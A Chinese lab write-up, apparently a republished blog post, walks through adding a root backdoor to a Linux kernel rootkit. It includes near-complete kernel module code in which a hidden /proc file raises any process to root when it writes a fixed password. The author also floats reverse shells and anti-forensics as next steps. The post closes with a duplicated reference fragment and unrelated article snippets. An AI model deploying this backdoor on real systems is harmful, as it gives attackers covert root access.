Linux Rootkit实验|0201 基本功能之Root后门

Linux Rootkit实验|0201 基本功能之Root后门

11 May 2017

文章目录

  • Linux Rootkit实验|0201 基本功能之Root后门
    • 实验说明
    • 实验环境
    • 实验过程
      • 提供 root 后门
    • 实验总结与思考
    • 参考资料
    • 参考资料

时人不识凌云木,直待凌云始道高。

实验说明

本次实验将初步实现rootkit的基本功能:

  • 阻止其他内核模块加载
  • 提供root后门
  • 隐藏文件
  • 隐藏进程
  • 隐藏端口
  • 隐藏内核模块

本次实验基于01实验中学习的挂钩技术。

注:由于本次实验内容过多,故分为0005六个实验报告分别讲解。

本节实现“提供 root 后门”功能

实验环境

uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

GCC version:6.1.1

上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以root权限执行。

注:后面实验参考的是4.10.10的源码

实验过程

提供 root 后门

这个后门参考之前很火的“全志科技”使用的代码。

简单来说,是这样:我们在/proc下创建一个文件,任何进程往其中写入特定的口令,我们就把它提升为root权限(把uideuid等设为0)。

这个文件可以用本系列后面的“隐藏文件”实验的方法隐藏掉。

使用到的 API 是proc_createproc_remove

// include/linux/proc_fs.h
// 参数分别是:文件名/访问模式/父目录/文件操作函数结构体
static inline struct proc_dir_entry *proc_create(
	const char *name, umode_t mode, struct proc_dir_entry *parent,
	const struct file_operations *proc_fops)
{
	return proc_create_data(name, mode, parent, proc_fops, NULL);
}
// fs/proc/generic.c
void proc_remove(struct proc_dir_entry *de)
{
	if (de)
		remove_proc_subtree(de->name, de->parent);
}

我们跟进看一下struct file_operations

// include/linux/fs.h
struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);
	ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
	ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
	ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
	ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
	int (*iterate) (struct file *, struct dir_context *);
	int (*iterate_shared) (struct file *, struct dir_context *);
	unsigned int (*poll) (struct file *, struct poll_table_struct *);
	long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
	long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
	int (*mmap) (struct file *, struct vm_area_struct *);
	int (*open) (struct inode *, struct file *);
	int (*flush) (struct file *, fl_owner_t id);
	int (*release) (struct inode *, struct file *);
	int (*fsync) (struct file *, loff_t, loff_t, int datasync);
	int (*fasync) (int, struct file *, int);
	int (*lock) (struct file *, int, struct file_lock *);
	ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
	int (*check_flags)(int);
	int (*flock) (struct file *, int, struct file_lock *);
	ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
	ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
	int (*setlease)(struct file *, long, struct file_lock **, void **);
	long (*fallocate)(struct file *file, int mode, loff_t offset,
			  loff_t len);
	void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
	unsigned (*mmap_capabilities)(struct file *);
#endif
	ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
			loff_t, size_t, unsigned int);
	int (*clone_file_range)(struct file *, loff_t, struct file *, loff_t,
			u64);
	ssize_t (*dedupe_file_range)(struct file *, u64, u64, struct file *,
			u64);
};

其中是各种函数指针。我们目前只用到写操作处理函数:

	ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);

下面开始行动!

// 声明写处理函数并放入结构体
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);

struct file_operations proc_fops = {
    .write = write_handler
};

// 定义写处理函数
#define AUTH "00100011F"
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;

    // 分配内存。
    kbuff = kmalloc(count + 1, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }

    // 复制到内核缓冲区。
    if (copy_from_user(kbuff, buff, count)) {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;

    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {

        // 用户进程写入的内容是我们的口令或者密码,
        // 把进程的 ``uid`` 与 ``gid`` 等等
        // 都设置成 ``root`` 账号的,将其提权到 ``root``。
        printk("%s\n", "Comrade, I will help you.");
        cred = (struct cred *)__task_cred(current);
        cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
        cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;
        printk("%s\n", "See you!");
    } else {
        // 密码错误,拒绝提权。
        printk("Alien, get out of here: %s.\n", kbuff);
    }

    kfree(kbuff);
    return count;
}

最后,添加全局变量struct proc_dir_entry *entry,并分别在入口函数/出口函数中创建/删除我们的文件:

#define NAME "JUSTFORFUN"
struct proc_dir_entry *entry;
// in init
entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);
// in exit
proc_remove(entry);

测试结果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

实验总结与思考

  • 内核中的事情,真的是要细心。顺着FreeBuf的文章往下看时,kbuff = kmalloc(count, GFP_KERNEL);这个地方少分配了一个尾零。事实上应该是kbuff = kmalloc(count + 1, GFP_KERNEL);
  • 另外注意,是:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

而不是:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 个人以为rootkit应该提供一个能够远程连接的root shell(对于内网的机器,用reverse shell是不是更好),并具备痕迹清理、自我删除甚至更强的反取证功能(另外,是否需要隐藏当前登录用户?)

参考资料

已参考

  • allwinner-zh/linux-3.4-sunxi

拓展阅读

录用户?)

参考资料

已参考

  • allwinner-zh/linux-3.4-sunxi

拓展阅读

  • This is what a root debug backdoor in a Linux kernel looks like

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/367519.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

压力测试工具-Jmeter使用总结

目录 一.前言 二.线程组 三.线程组的组件 四.线程组-HTTP请求 1、JSON提取器 2、XPATH提取器 3、正则表达式提取器 五.线程组-断言 1、响应断言 2、JSON断言 六.创建测试 1.创建线程组 2.配置元件 3.构造HTTP请求 4.添加HTTP请求头 5.添加断言 6.添加查看结果树…

SAFe大规模敏捷认证Leading SAFe官方认证班

课程简介 SAFe – Scaled Agile Framework是目前全球运用最广泛的大规模敏捷框架,也是全球敏捷相关认证成长最快、最被认可、最有价值的规模化敏捷认证,目前全球SAFe认证专业人士已达120万人。 据官方统计,获得新证书的IT专业人士的平均工资…

寒假作业2月2号

第一章 命名空间 一.选择题 1、编写C程序一般需经过的几个步骤依次是(C ) A. 编辑、调试、编译、连接 B. 编辑、编译、连接、运行 C. 编译、调试、编辑、连接 D. 编译、编辑、连接、运行 2、所谓数据封装就是将一组数据和与这组数据有关…

Pycharm python用matplotlib 3D绘图显示空白解决办法

问题原因: matplotlib版本升级之后显示代码变了,修改为新的 # ax Axes3D(fig) # 原代码 ax fig.add_axes(Axes3D(fig)) # 新代码import numpy as np import matplotlib.pyplot as plt from matplotlib import cm from mpl_toolkits.mplot3d import Ax…

Electron开发的十大神级产品,vscode、atom、skype、figma等

Hi、我是贝格前端工场,今天分享一下基于Electron的十大著名产品,欢迎友友们补充。 Visual Studio Code 这是一款由微软开发的轻量级代码编辑器,它提供了丰富的功能和插件生态系统,支持多种编程语言和开发工具。Visual Studio Cod…

PDF中公式转word

效果:实现pdf中公式免编辑 step1: 截图CtrlAltA,复制 step2: SimpleTex - Snip & Get 网页或客户端均可,无次数限制,效果还不错。还支持手写、文字识别 单张图片:选 手写板 step3: 导出结果选择 注:…

【笔记】Android 常用编译模块和输出产物路径

模块&产物路径 具体编译到软件的路径要看编译规则的分区,代码中模块编译输出的产物基本对应。 Android 代码模块 编译产物路径设备adb路径Comment 模块device/mediatek/system/common/ 资源overlay/telephony/frameworks/base/core 文件举例res/res/values-m…

开源的三维算法库有哪些

PCL,VTK,VCG,CGAL,Open CASCADE(opencascade),OpenSceneGraph (OSG), 点云网格处理算法:openmesh, meshlab三维算法库,Eigen 网格简化,网格平滑,网格参数化 无序点云网…

[Linux 进程(六)] 写时拷贝 - 进程终止

文章目录 1、写时拷贝2、进程终止2.1 进程退出场景2.1.1 退出码2.1.2 错误码错误码 vs 退出码2.1.3 代码异常终止引入 2.2 进程常见退出方法2.2.1 exit函数2.2.2 _exit函数 本片我们主要来讲进程控制,讲之前我们先把写时拷贝理清,然后再开始讲进程控制。…

与指定数字相同的数的个数 T1061

#include<bits/stdc.h> using namespace std; int n,m; const int N110; int f[N]; int a0; int main(){cin>>n>>m;for(int i0;i<n;i)cin>>f[i];for(int j0;j<n;j){if(f[j]m){a;}}cout<<a<<endl;return 0; }

安科瑞消防设备电源监控系统在地铁工程的设计与应用

【摘要】&#xff1a;本文介绍了地铁工程中消防设备电源监控系统设置的必要性及规范求&#xff0c;分析了监控设计方案&#xff0c;提出该系统在地铁工程中的应用要求及建议&#xff0c;以供地铁工程建设参考。消防设备电源监控系统主要针对消防用电设备的电源进行实时的监控&a…

react 之 zustand

zustand可以说是redux的平替 官网地址&#xff1a;https://zustand-demo.pmnd.rs/ 1.安装 npm i zustand2.基础使用 // zustand import { create } from zustand// 1. 创建store // 语法容易出错 // 1. 函数参数必须返回一个对象 对象内部编写状态数据和方法 // 2. set是用来…

Springboot做查询数据库某个表的数据时,后台一切正常前台显示不了数据

当我在用springboot做项目的时候查询整个表的数据或者条件查询的时候发现我的后台功能一切正常但是我的前台界面就是显示不了数据&#xff0c;这个问题解决也很简单&#xff0c;就是需要我们平时多加注意&#xff0c;不要漏代码&#xff01;&#xff01;&#xff01; Builder …

51单片机学习笔记 --步进电机驱动说明

文章目录 工作原理代码编写驱动方式全步进驱动半步进驱动微步进驱动 工作原理 工作原理简要说明&#xff0c;和单片机一起配合使用的步进电机多为28BYJ28 五线四相步进电机&#xff0c;配合ULN2003驱动板进行控制&#xff0c;如图所示&#xff0c;对于扭矩、精度要求较高的还有…

【开源】JAVA+Vue.js实现校园二手交易系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 二手商品档案管理模块2.3 商品预约管理模块2.4 商品预定管理模块2.5 商品留言板管理模块2.6 商品资讯管理模块 三、实体类设计3.1 用户表3.2 二手商品表3.3 商品预约表3.4 商品预定表3.5 留言表3.6 资讯…

2024年第九届信号与图像处理国际会议(ICSIP 2024)

2024第九届信号与图像处理国际会议&#xff08;ICSIP 2024&#xff09;将于2024年7月12-14日在中国南京召开。ICSIP每年召开一次&#xff0c;在过去的七年中吸引了1200多名与会者&#xff0c;是展示信号和图像处理领域最新进展的领先国际会议之一。本次将汇集来自亚太国家、北美…

Multisim14.0仿真(四十三)LM311应用

一、LM311简介&#xff1a; lm311是一款高灵活性的电压比较器&#xff0c;能工作于5V-30V单个电源或正负15V分离电源。 二、LM311主要特性&#xff1a; ★ 快速响应时间&#xff1a;165 ns。 ★ 选通能力。 ★ 最大输入偏置电流&#xff1a;300nA。 ★ 最大输入偏置电流&#…

【LLM KBQA】FlexKBQA:一种结合LLM的KBQA框架

前言 大语言模型&#xff08;LLMs&#xff09;在知识库问答&#xff08;KBQA&#xff09;领域的应用主要集中在包括但不限于以下几个方面&#xff1a; 直接生成答案&#xff1a;一些方法直接利用LLMs生成答案&#xff0c;而不是生成中间的程序&#xff08;如SPARQL查询&#…

iTOP-3A5000开发板支持PCIE 3.0、USB 3.0和 SATA 3.0.显示接口2 路、HDMI 和1路VGA等

性能强 采用全国产龙芯3A5000处理器&#xff0c;基于龙芯自主指令系统 (LoongArch)的LA464微结构&#xff0c;并进一步提升频率&#xff0c;降低功耗&#xff0c;优化性能。 桥片 采用龙芯 7A2000&#xff0c;支持PCIE 3.0、USB 3.0和 SATA 3.0.显示接口2 路、HDMI 和1路 VGA…

C++ pair+map+set+multimap+multiset+AVL树+红黑树(深度剖析)

文章目录 1. 前言2. 关联式容器3. pair——键值对4. 树形结构的关联式容器4.1 set4.1.1 set 的介绍4.1.2 set 的使用 4.2 map4.2.1 map 的介绍4.2.2 map 的使用 4.3 multiset4.3.1 multiset 的介绍4.3.2 multiset 的使用 4.4 multimap4.4.1 multimap 的介绍4.4.2 multimap 的使…